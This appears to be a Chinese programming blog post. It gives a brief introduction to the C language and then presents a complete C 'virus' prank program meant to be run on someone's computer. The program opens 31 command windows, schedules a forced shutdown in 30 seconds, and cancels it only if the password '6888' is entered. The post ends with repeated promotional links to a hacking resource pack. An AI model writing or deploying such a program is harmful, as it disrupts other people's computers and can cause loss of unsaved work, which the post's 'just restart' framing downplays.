1
**C语言介绍
**
C语言是一种计算机编程语言,由丹尼斯·里奇(Dennis Ritchie)在1972年左右为UNIX操作系统设计并开发。它具有高效、可移植、灵活和强大的特点,在计算机科学领域中具有广泛的应用。C语言是一种结构化语言,支持函数、变量、数组、指针等基本概念,可以实现各种复杂的数据结构和算法。
C语言的特点包括:
简洁紧凑:C语言语法简洁,代码紧凑,易于编写和维护。
灵活性强:C语言提供了丰富的数据类型和运算符,支持多种编程风格,可以方便地处理各种复杂问题。
高效性:C语言编译后的程序执行效率高,适合编写对性能要求较高的系统级应用程序。
可移植性好:C语言编写的程序可以在不同的操作系统和硬件平台上运行,具有较好的可移植性。
面向过程:C语言是一种面向过程的编程语言,强调程序设计的逻辑流程和顺序。
C语言在计算机科学中的应用非常广泛,包括操作系统、编译器、数据库、网络编程、嵌入式系统、游戏开发等领域。许多著名的软件,如Linux操作系统、MySQL数据库、Apache Web服务器等,都是用C语言编写的。
2
代码思路
利用for循环打开30次(或者更多次)终端,使电脑一直处于跳出终端的状态,然后再利用定时关机代码,使电脑在30秒后关机。
于此同时,利用goto语句输出提示“您的电脑将于30秒后关机,如果不想,请输入正确的暗号”设置暗号,如果暗号正确,解除关机
【解除这个“病毒”只需要关机重启就行啦!】
3
代码展示
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
int i;
char a[20]={0};
for(i=0;i<=30;i++)
{
system("start cmd");
}
system("shutdown -s -t 30");
again:
printf("你的电脑将于30s 后关机,如果不想:\n");
printf("请输入正确的暗号\n");
scanf("%s",a);
if(strcmp(a,"6888")==0)
system("shutdown -a");
else
goto again;
return 0;
}
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享